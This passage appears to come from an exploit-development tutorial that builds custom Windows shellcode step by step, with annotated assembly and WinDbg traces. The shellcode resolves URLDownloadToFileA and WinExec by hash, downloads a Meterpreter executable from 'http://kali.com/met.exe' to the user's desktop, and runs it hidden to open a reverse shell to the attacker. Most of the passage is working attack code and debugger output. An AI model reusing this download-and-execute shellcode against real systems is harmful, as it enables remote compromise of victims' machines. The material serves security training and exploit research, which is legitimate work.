eip=03250103 esp=0363f270 ebp=0363f8a8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
03250103 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:003> t
Breakpoint 0 hit
eax=00000000 ebx=76380000 ecx=00000005 edx=0363f084 esi=0363f921 edi=0363f9c2
eip=03250103 esp=0363f270 ebp=0363f8a8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
03250103 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:003> t
Breakpoint 0 hit
eax=00000000 ebx=76380000 ecx=00000004 edx=0363f084 esi=0363f922 edi=0363f9c3
eip=03250103 esp=0363f270 ebp=0363f8a8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
03250103 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:003> t
Breakpoint 0 hit
eax=00000000 ebx=76380000 ecx=00000003 edx=0363f084 esi=0363f923 edi=0363f9c4
eip=03250103 esp=0363f270 ebp=0363f8a8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
03250103 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:003> t
Breakpoint 0 hit
eax=00000000 ebx=76380000 ecx=00000002 edx=0363f084 esi=0363f924 edi=0363f9c5
eip=03250103 esp=0363f270 ebp=0363f8a8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
03250103 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:003> t
Breakpoint 0 hit
eax=00000000 ebx=76380000 ecx=00000001 edx=0363f084 esi=0363f925 edi=0363f9c6
eip=03250103 esp=0363f270 ebp=0363f8a8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
03250103 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:003> t
eax=00000000 ebx=76380000 ecx=00000000 edx=0363f084 esi=0363f926 edi=0363f9c7
eip=03250105 esp=0363f270 ebp=0363f8a8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
03250105 31c9            xor     ecx,ecx
0:003> db ebp+100h
0363f9a8  43 3a 5c 55 73 65 72 73-5c 4f 66 66 73 65 63 5c  C:\Users\Offsec\
0363f9b8  44 65 73 6b 74 6f 70 5c-6d 65 74 2e 65 78 65 00  Desktop\met.exe.
0363f9c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0363f9d8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0363f9e8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0363f9f8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0363fa08  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0363fa18  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

The next step here is using the URLDownloadToFileA API to download the payload to the path we have stored at EBP+100h. Before going any further, we also need to understand this API and know what arguments we need to pass before writing the assembly instructions for it. URLDownloadToFileA is a function provided by the Windows32 API that allows applications to download files from a specified URL and save them to a local file(s). It is specifically part of urlmon.dll, which contains functions for handling URLs and web-based resources.

1
2
3
4
5
6
7
HRESULT URLDownloadToFileA(
  LPUNKNOWN pCaller,
  LPCSTR szURL,
  LPCSTR szFileName,
  DWORD dwReserved,
  LPVOID lpfnCB
);

Parameters

  • pCaller : A pointer to the interface of the calling object. This can generally be set to NULL.
  • szURL : A pointer to a string that specifies the URL of the file to be downloaded.
  • szFileName : A pointer to a string that specifies the name of the file to which the downloaded data will be saved.
  • dwReserved : Reserved; must be set to 0.
  • lpfnCB : A pointer to a callback function that can be used to monitor the progress of the download. This can also be set to NULL.

Return Value

The function returns S_OK (or 0) if the download is successful. If it fails, it returns an error code indicating the type of failure (e.g., E_FAIL, E_INVALIDARG, etc.).

We need to load the urlmon.dll using LoadLibraryA like we did earlier with shell32.dll. Then we will get the address for URLDownloadToFileA and store it on the stack for later. Below are the new functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
    " store_download_url:                "
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push Null terminator
    "   push  0x657865                  ;"  #   Push "exe" on the stack
    "   push  0x2e74656d                ;"  #   Push ".tem" on the stack
    "   push  0x2f6d6f63                ;"  #   Push "/moc" on the stack
    "   push  0x2e696c61                ;"  #   Push ".ila" on the stack
    "   push  0x6b2f2f3a                ;"  #   Push "k//:" on the stack
    "   push  0x70747468                ;"  #   Push "ptth" on the stack
    "   lea   esi, [esp]                ;"  #   Load the address of ESP into ESI
    "   mov   edi, ebp                  ;"  #   Load EBP address into EDI
    "   add   edi, 260h                 ;"  #   Add 260h offset to the address in EDI
    "   mov   ecx, 0xffffffe5           ;"  #   Length of "http://kali.com/met.exe" (including null terminator)
    "   neg   ecx                       ;"  #   Negate ECX to get 27
    "   rep   movsb                     ;"  #   Copy URL to [EBP+260h]
    " load_urlmon:                       "  #
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push Null terminator
    "   push  0x6c6c                    ;"  #   Push "ll" and NULL terminator on the stack
    "   push  0x642e6e6f                ;"  #   Push "d.no" on the stack
    "   push  0x6d6c7275                ;"  #   Push "mlru" on the stack
    "   push  esp                       ;"  #   Push ESP to have a pointer to the string
    "   call dword ptr [ebp+0x14]       ;"  #   Call LoadLibraryA
    " resolve_symbols_urlmon:            "
    "   mov   ebx, eax                  ;"  #   Move the base address of urlmon.dll to EBX
    "   push  0x702f1a36                ;"  #   URLDownloadToFileA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x20], eax           ;"  #   Save URLDownloadToFileA address for later usage
    " call urldownloadtofilea:           "       
    "   push  0x42424242                ;"  #   Re-align the stack        
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push lpfnCB -> Null
    "   push  eax                       ;"  #   Push dwReserved -> 0
    "   lea   eax, [ebp+0x100]          ;"  #   Load [EBP+100h] into EAX 
    "   push  eax                       ;"  #   Push szFileName -> [EBP+100h]
    "   lea   eax, [ebp+0x260]          ;"  #   Load [EBP+260h] into EAX 
    "   push  eax                       ;"  #   Push szURL -> [EBP+260h]
    "   xor   eax, eax                  ;"  #   Null EAX Again
    "   push  eax                       ;"  #   Push pCaller -> 0
    "   call  dword ptr [ebp+0x20]      ;"  #   Call URLDownloadRoFileA 

To understand what’s happening above, let’s break each function down line by line and explain. We are going to start with the store_download_url function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 " store_download_url:                "
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push Null terminator
    "   push  0x657865                  ;"  #   Push "exe" on the stack
    "   push  0x2e74656d                ;"  #   Push ".tem" on the stack
    "   push  0x2f6d6f63                ;"  #   Push "/moc" on the stack
    "   push  0x2e696c61                ;"  #   Push ".ila" on the stack
    "   push  0x6b2f2f3a                ;"  #   Push "k//:" on the stack
    "   push  0x70747468                ;"  #   Push "ptth" on the stack
    "   lea   esi, [esp]                ;"  #   Load the address of ESP into ESI
    "   mov   edi, ebp                  ;"  #   Load EBP address into EDI
    "   add   edi, 260h                 ;"  #   Add 260h offset to the address in EDI
    "   mov   ecx, 0xffffffe5           ;"  #   Length of "http://kali.com/met.exe" (including null terminator)
    "   neg   ecx                       ;"  #   Negate ECX to get 27
    "   rep   movsb                     ;"  #   Copy URL to [EBP+260h]

The URLDownloadToFileA takes a URL string, this is the URL of the content that will be downloaded. Which means we need to have the URL “http://kali.com/met.exe” saved somewhere on the stack so we can pass that to the function as an argument before calling it. Using the same idea as the one we used to store “\met.exe” on the stack, we pushed the hex of the string on the stack after pushing EAX which contains the string Null terminator. With the entire string on the stack, we loaded the address of the stack pointer (ESP) into EDI, which needs to contain the address of the string to be copied. The next argument is the address of the destination. Again, I choose an arbitrary offset far from EBP to avoid potential mangling with other values on the stack, which is stored in the EDI register. Then the length of the string to be copied is loaded into the ECX register, in this case it’s 27 (null terminator included). Like before, we don’t want to pass just 27 because it could leave room for bad characters, so we pushed negative 27 on the stack, then use the negation function to convert that back to positive 27. Lastly, we call the rep movsb function to recursively copy the URL string to the destination address.

1
2
3
4
5
6
7
8
    " load_urlmon:                       "  #
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push Null terminator
    "   push  0x6c6c                    ;"  #   Push "ll" and NULL terminator on the stack
    "   push  0x642e6e6f                ;"  #   Push "d.no" on the stack
    "   push  0x6d6c7275                ;"  #   Push "mlru" on the stack
    "   push  esp                       ;"  #   Push ESP to have a pointer to the string
    "   call dword ptr [ebp+0x14]       ;"  #   Call LoadLibraryA

Next, the load_urlmon function is called. This function uses LoadLibraryA as we did earlier to load the address of urlmon.dll, which contains URLDownloadToFileA. As we did in the other function, we start off by setting the EAX register to Null by using the xor instruction, which allows us to avoid potential bad characters if we pass zero directly to the assignment operator. We then pushed the EAX on the stack to be used as the null terminator for the string we will be pushing on the stack. The three push instructions contain the hex values for the string “urlmon.dll” in reverse because of the endianness and calling convention. The ESP address is pushed on the stack so the call to LoadLibraryA can retrieve the string containing the name of the module to load. After everything is setup and aligned, we then call LoadLibraryA to load urlmon.dll.

1
2
3
4
5
    " resolve_symbols_urlmon:            "
    "   mov   ebx, eax                  ;"  #   Move the base address of urlmon.dll to EBX
    "   push  0x702f1a36                ;"  #   URLDownloadToFileA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x20], eax           ;"  #   Save URLDownloadToFileA address for later usage

This function is very simple, it uses the Export Directory Table and a hashing algorithm to find a function based on the hash of any function name. This same method was used earlier to resolve other functions addresses. We start off in this function by moving the value in EAX into EBX, the value in EAX is the address of URLDownloadToFileA, which was returned from the previous function. The hash for “URLDownloadToFileA” is pushed on the stack, then the custom find_function is called to try and resolve the address of URLDownloadToFileA by traversing the Export Directory Table. Once the function address is found/resolved by the find_function, its address should be in the EAX register, which we then moved to a different location that we can remember.

1
2
3
4
5
6
7
8
9
10
11
12
    " call urldownloadtofilea:           "       
    "   push  0x42424242                ;"  #   Re-align the stack        
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push lpfnCB -> Null
    "   push  eax                       ;"  #   Push dwReserved -> 0
    "   lea   eax, [ebp+0x100]          ;"  #   Load [EBP+100h] into EAX 
    "   push  eax                       ;"  #   Push szFileName -> [EBP+100h]
    "   lea   eax, [ebp+0x260]          ;"  #   Load [EBP+260h] into EAX 
    "   push  eax                       ;"  #   Push szURL -> [EBP+260h]
    "   xor   eax, eax                  ;"  #   Null EAX Again
    "   push  eax                       ;"  #   Push pCaller -> 0
    "   call  dword ptr [ebp+0x20]      ;"  #   Call URLDownloadRoFileA 

In this function, we can make the call to URLDownloadToFileA, but first we need to push all its arguments on the stack in reverse order. Like before, we need to re-align the stack by pushing some junk bytes at the beginning of the function. EAX is nulled out using the xor instruction, then it’s pushed on the stack two times for the first two arguments. The next two areguments are the ones that really matter, and at this point we should have them readily available. The addresses of the URL to be downloaded and the file path to need to be pushed on the stack as well. The EAX register is then nulled-out and the last aregument is pushed on the stack before finally calling the URLDownloadToFileA function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
0:003> bp 0176015b
0:003> bl
     0 e Disable Clear  0176015b     0001 (0001)  0:**** 
0:003> g
ModLoad: 76380000 776b3000   C:\Windows\System32\shell32.dll
ModLoad: 74910000 74948000   C:\Windows\System32\cfgmgr32.dll
ModLoad: 753d0000 75458000   C:\Windows\System32\shcore.dll
ModLoad: 749a0000 74f66000   C:\Windows\System32\windows.storage.dll
ModLoad: 74220000 7422e000   C:\Windows\System32\kernel.appcore.dll
ModLoad: 74230000 74275000   C:\Windows\System32\powrprof.dll
ModLoad: 74280000 74294000   C:\Windows\System32\profapi.dll
ModLoad: 6e6d0000 6e85c000   C:\Windows\SYSTEM32\urlmon.dll
ModLoad: 6e4b0000 6e6c9000   C:\Windows\SYSTEM32\iertutil.dll
ModLoad: 776c0000 776d9000   C:\Windows\System32\imagehlp.dll
Breakpoint 0 hit
eax=6e6d0000 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=0176015b esp=0336f460 ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0176015b ff5504          call    dword ptr [ebp+4]    ss:0023:0336facc=01760030
0:003> p
eax=6e7b7490 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=0176015e esp=0336f460 ebp=0336fac8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
0176015e 894520          mov     dword ptr [ebp+20h],eax ss:0023:0336fae8=00000000
0:003> t
eax=6e7b7490 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=01760161 esp=0336f460 ebp=0336fac8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
01760161 31c0            xor     eax,eax
0:003> db ebp+100h
0336fbc8  43 3a 5c 55 73 65 72 73-5c 4f 66 66 73 65 63 5c  C:\Users\Offsec\
0336fbd8  44 65 73 6b 74 6f 70 5c-6d 65 74 2e 65 78 65 00  Desktop\met.exe.
0336fbe8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fbf8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fc08  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fc18  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fc28  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fc38  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:003> db ebp+260h
0336fd28  68 74 74 70 3a 2f 2f 6b-61 6c 69 2e 63 6f 6d 2f  http://kali.com/
0336fd38  6d 65 74 2e 65 78 65 00-00 00 00 00 00 00 00 00  met.exe.........
0336fd48  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fd58  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fd68  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fd78  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fd88  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0336fd98  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=01760163 esp=0336f460 ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01760163 50              push    eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=01760164 esp=0336f45c ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01760164 50              push    eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=01760165 esp=0336f458 ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01760165 8d8500010000    lea     eax,[ebp+100h]
0:003> t
eax=0336fbc8 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=0176016b esp=0336f458 ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0176016b 50              push    eax
0:003> t
eax=0336fbc8 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=0176016c esp=0336f454 ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0176016c 8d8560020000    lea     eax,[ebp+260h]
0:003> t
eax=0336fd28 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=01760172 esp=0336f454 ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01760172 50              push    eax
0:003> t
eax=0336fd28 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=01760173 esp=0336f450 ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01760173 31c0            xor     eax,eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=01760175 esp=0336f450 ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01760175 50              push    eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=00b409a0 esi=0336f48f edi=0336fd43
eip=01760176 esp=0336f44c ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01760176 ff5520          call    dword ptr [ebp+20h]  ss:0023:0336fae8={urlmon!URLDownloadToFileA (6e7b7490)}
0:003> p
ModLoad: 6dc60000 6dcbe000   C:\Windows\SYSTEM32\msiso.dll
ModLoad: 72cc0000 72d3b000   C:\Windows\system32\uxtheme.dll
ModLoad: 72e80000 72ea3000   C:\Windows\system32\dwmapi.dll
ModLoad: 65a20000 65ce4000   C:\Windows\SYSTEM32\WININET.dll
ModLoad: 74120000 74145000   C:\Windows\SYSTEM32\SspiCli.dll
ModLoad: 5c330000 5c342000   C:\Windows\SYSTEM32\ondemandconnroutehelper.dll
ModLoad: 73980000 739b0000   C:\Windows\SYSTEM32\IPHLPAPI.DLL
ModLoad: 6fdd0000 6fe7d000   C:\Windows\SYSTEM32\winhttp.dll
ModLoad: 75e60000 75e67000   C:\Windows\System32\NSI.dll
ModLoad: 73b90000 73be8000   C:\Windows\system32\mswsock.dll
ModLoad: 6f710000 6f718000   C:\Windows\SYSTEM32\WINNSI.DLL
ModLoad: 739b0000 73a44000   C:\Windows\SYSTEM32\DNSAPI.dll
ModLoad: 6d130000 6d138000   C:\Windows\System32\rasadhlp.dll
ModLoad: 6eb40000 6eb8e000   C:\Windows\System32\fwpuclnt.dll
eax=800c0005 ebx=6e6d0000 ecx=15cbc330 edx=00000001 esi=0336f48f edi=0336fd43
eip=01760179 esp=0336f460 ebp=0336fac8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01760179 31c9            xor     ecx,ecx

The output above shows that everything works as expected, it’s worth noting that during this test URLDownloadToFileA wasn’t able to download the file because of network issues, so it returned an error code in the EAX register. At this point, we shouldn’t be too worried, what is important is the fact that all the arguments are in place and the API was loaded properly and the call was successful because it loaded all its dependent modules, which it would do if the arguments were incorrect. 0x800C0005 is a common error code returned by URLDownloadToFileA. It translates to INET_E_DOWNLOAD_FAILURE, which generally means the function failed to download the file from the given URL. I tried pinging the IP and got nothing from entering it in the web browser, this usually gets resolved after revert the VM instance, but I don’t want to do that just yet.

The next and final part of this process is to execute the meterpreter executable with the Win32 API WinExec. The WinExec API is part of the kernel32.dll, which means we can load it in the same function we used in the assembly instructions to load its address. Before going any further, let’s learn a little bit about this API. WinExec is a Windows API function used to execute a specified program. It is a simple way to start a new process in Windows, but it has been largely superseded by more robust functions like CreateProcess. Below is the prototype of this function.

1
2
3
4
UINT WinExec(
  LPCSTR lpCmdLine,
  UINT uCmdShow
);

Parameters

  • lpCmdLine : A pointer to a null-terminated string that specifies the command line to be executed. This can include the name of the executable and any command-line arguments.
  • uCmdShow : A flag that specifies how the window is to be shown. Common values include:
    • SW_SHOWNORMAL : Activates and displays the window in its current size and position.
    • SW_HIDE : Hides the window and activates another window.
    • SW_MAXIMIZE : Maximizes the window.

Return Value

The function returns a value greater than 31 if the function succeeds, which is the process identifier (PID) of the new process. If it fails, it returns a value less than or equal to 31, which indicates an error (with values representing different error codes).

We will start of by modifying the resolve_symbols_kernel32 function to load the WinExec function in addition to LoadLibraryA and TerminateProcess.

1
2
3
4
5
6
7
8
9
10
    " resolve_symbols_kernel32:          "
    "   push  0x78b5b983                ;"  #   TerminateProcess hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x10], eax           ;"  #   Save TerminateProcess address for later usage
    "   push  0x4f0afe98                ;"  #   WinExec hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x50], eax           ;"  #   Save WinExec address for later usage
    "   push  0xec0e4e8e                ;"  #   LoadLibraryA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x14], eax           ;"  #   Save LoadLibraryA address for later usage

With the WinExec function loaded, we just need to call it, which seems pretty straight forward based on the prototype and required arguments. Below is the assembly instructions for calling WinExec, which would allow us to execute “met.exe” on the target device, which should give us a reverse shell on the attacker’s machine.

1
2
3
4
5
6
    " call_winexec:                      "  
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push uCmdShow -> SW_HIDE -> 0
    "   lea   eax, [ebp+0x100]          ;"  #   Load [EBP+100h] into EAX 
    "   push  eax                       ;"  #   Push lpCmdLine -> [EBP+100h]
    "   call  dword ptr [ebp+0x50]      ;"  #   Call WinExec

In the function above, made EAX Null, the passed 0 to the uCmdShow parameter by passing EAX to it, then we loaded the address of the string full path of “met.exe”, which is pushed on the stack as lpCmdLine parameter. Once this is done, the call to WinExec is made.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
0:003> bp 0294016c
0:003> g
ModLoad: 76380000 776b3000   C:\Windows\System32\shell32.dll
ModLoad: 74910000 74948000   C:\Windows\System32\cfgmgr32.dll
ModLoad: 753d0000 75458000   C:\Windows\System32\shcore.dll
ModLoad: 749a0000 74f66000   C:\Windows\System32\windows.storage.dll
ModLoad: 74220000 7422e000   C:\Windows\System32\kernel.appcore.dll
ModLoad: 74230000 74275000   C:\Windows\System32\powrprof.dll
ModLoad: 74280000 74294000   C:\Windows\System32\profapi.dll
ModLoad: 6e6d0000 6e85c000   C:\Windows\SYSTEM32\urlmon.dll
ModLoad: 6e4b0000 6e6c9000   C:\Windows\SYSTEM32\iertutil.dll
ModLoad: 776c0000 776d9000   C:\Windows\System32\imagehlp.dll
Breakpoint 0 hit
eax=6e7b7490 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=0294016c esp=02d2f524 ebp=02d2fb90 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
0294016c 894520          mov     dword ptr [ebp+20h],eax ss:0023:02d2fbb0=00000000
0:003> t
eax=6e7b7490 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=0294016f esp=02d2f524 ebp=02d2fb90 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
0294016f 31c0            xor     eax,eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=02940171 esp=02d2f524 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940171 50              push    eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=02940172 esp=02d2f520 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940172 50              push    eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=02940173 esp=02d2f51c ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940173 8d8500010000    lea     eax,[ebp+100h]
0:003> t
eax=02d2fc90 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=02940179 esp=02d2f51c ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940179 50              push    eax
0:003> t
eax=02d2fc90 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=0294017a esp=02d2f518 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0294017a 8d8560020000    lea     eax,[ebp+260h]
0:003> t
eax=02d2fdf0 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=02940180 esp=02d2f518 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940180 50              push    eax
0:003> t
eax=02d2fdf0 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=02940181 esp=02d2f514 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940181 31c0            xor     eax,eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=02940183 esp=02d2f514 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940183 50              push    eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=005b0938 esi=02d2f553 edi=02d2fe0b
eip=02940184 esp=02d2f510 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940184 ff5520          call    dword ptr [ebp+20h]  ss:0023:02d2fbb0={urlmon!URLDownloadToFileA (6e7b7490)}
0:003> p
ModLoad: 6dc60000 6dcbe000   C:\Windows\SYSTEM32\msiso.dll
ModLoad: 72cc0000 72d3b000   C:\Windows\system32\uxtheme.dll
ModLoad: 72e80000 72ea3000   C:\Windows\system32\dwmapi.dll
ModLoad: 65a20000 65ce4000   C:\Windows\SYSTEM32\WININET.dll
ModLoad: 74120000 74145000   C:\Windows\SYSTEM32\SspiCli.dll
ModLoad: 5c330000 5c342000   C:\Windows\SYSTEM32\ondemandconnroutehelper.dll
ModLoad: 73980000 739b0000   C:\Windows\SYSTEM32\IPHLPAPI.DLL
ModLoad: 6fdd0000 6fe7d000   C:\Windows\SYSTEM32\winhttp.dll
ModLoad: 75e60000 75e67000   C:\Windows\System32\NSI.dll
ModLoad: 73b90000 73be8000   C:\Windows\system32\mswsock.dll
ModLoad: 6f710000 6f718000   C:\Windows\SYSTEM32\WINNSI.DLL
ModLoad: 739b0000 73a44000   C:\Windows\SYSTEM32\DNSAPI.dll
ModLoad: 6d130000 6d138000   C:\Windows\System32\rasadhlp.dll
ModLoad: 6eb40000 6eb8e000   C:\Windows\System32\fwpuclnt.dll
eax=800c0005 ebx=6e6d0000 ecx=1cd45f42 edx=00000001 esi=02d2f553 edi=02d2fe0b
eip=02940187 esp=02d2f524 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940187 31c0            xor     eax,eax
0:003> t
eax=00000000 ebx=6e6d0000 ecx=1cd45f42 edx=00000001 esi=02d2f553 edi=02d2fe0b
eip=02940189 esp=02d2f524 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940189 50              push    eax
0:003> t
